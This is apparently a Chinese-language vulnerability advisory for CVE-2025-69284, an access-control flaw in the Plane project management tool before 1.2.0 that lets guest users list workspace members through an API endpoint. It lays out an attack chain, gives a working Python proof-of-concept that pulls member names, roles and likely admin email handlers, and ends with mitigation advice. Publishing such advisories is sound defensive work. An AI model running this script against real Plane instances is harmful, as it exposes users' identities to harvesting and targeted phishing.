IPBUF安全漏洞报告
English
CVE-2025-69284 CVSS 4.3 中危

CVE-2025-69284: Plane项目管理工具guest用户权限绕过导致用户信息泄露

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-69284
漏洞类型
访问控制/权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plane (plane.io)

相关标签

访问控制绕过权限验证缺失信息泄露API安全Plane项目管理工具CVE-2025-69284

漏洞概述

Plane是一款开源的项目管理工具。在受影响版本中,存在一个访问控制权限绕过漏洞。Guest用户虽然被设计为无法访问workspace的设置页面,但可以通过直接调用API端点`/api/workspaces/:slug/members/`来获取该workspace中的成员列表。攻击者利用此漏洞可以获取workspace中所有用户的邮箱地址处理程序(email handler),进而识别出管理员用户的高价值邮箱账户。该漏洞属于低权限用户信息泄露,CVSS评分4.3(中危)。攻击者无需特殊用户交互即可利用此漏洞,成功利用后可获取敏感的用户身份信息,可能被用于进一步的社会工程学攻击或针对性入侵。

技术细节

该漏洞的根本原因在于Plane对API端点的访问控制验证不完整。在1.2.0之前的版本中,系统对`/api/workspaces/:slug/members/`端点缺少正确的权限检查,允许已认证的guest用户访问此API。Guest用户成功加入workspace后,可直接发送HTTP GET请求到该端点。服务器响应中包含用户列表数据,其中`display_name`字段实际上存储的是邮箱的用户名部分(handler),而非显示名称。攻击者通过解析响应数据,可以提取出所有用户的邮箱handler,结合常见的邮箱域名(如[email protected]),即可推断出管理员用户的完整邮箱地址。攻击利用过程简单,无需特殊工具或技术,直接使用浏览器或curl即可完成信息收集。

攻击链分析

STEP 1
步骤1
攻击者注册并获取Plane平台的guest用户账号
STEP 2
步骤2
攻击者申请加入目标workspace,成为该workspace的guest成员
STEP 3
步骤3
攻击者获取有效的access token(通过正常登录流程)
STEP 4
步骤4
攻击者构造HTTP GET请求访问/api/workspaces/:slug/members/端点
STEP 5
步骤5
服务器错误地返回成员列表,包含display_name(实为email handler)
STEP 6
步骤6
攻击者解析响应数据,提取所有用户的邮箱用户名部分
STEP 7
步骤7
攻击者结合常见邮箱域名,识别管理员用户的完整邮箱地址

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-69284 PoC - Information Disclosure via Member List API # Target: Plane < 1.2.0 # Author: Security Researcher TARGET_URL = "https://app.plane.so" WORKSPACE_SLUG = "target-workspace" ACCESS_TOKEN = "guest_user_access_token" # Attacker needs valid guest token def exploit(): headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Step 1: Request member list API endpoint url = f"{TARGET_URL}/api/workspaces/{WORKSPACE_SLUG}/members/" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Successfully accessed member list!") print("\n[+] Extracted user information:") # Step 2: Parse and extract email handlers for member in data.get("results", []): display_name = member.get("display_name", "") email = member.get("email", "") role = member.get("role", "member") print(f" - Name: {display_name}") print(f" - Email Handler: {display_name}@domain.com") print(f" - Role: {role}") print() # Step 3: Identify potential admin emails if "admin" in display_name.lower() or role == "admin": print(f"[!] Potential admin email handler found: {display_name}") elif response.status_code == 403: print("[-] Access denied - target may be patched or token invalid") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-69284 PoC - Plane Member List Information Disclosure") print("=" * 60) exploit()

影响范围

Plane < 1.2.0

防御指南

临时缓解措施
立即将Plane升级到1.2.0版本。如果无法立即升级,可临时措施包括:1) 禁用guest用户功能;2) 配置WAF规则限制对/api/workspaces/*/members/端点的访问;3) 监控异常的API调用行为;4) 限制guest用户加入包含敏感信息的workspace。建议同时审计现有guest用户账户,评估信息泄露风险范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表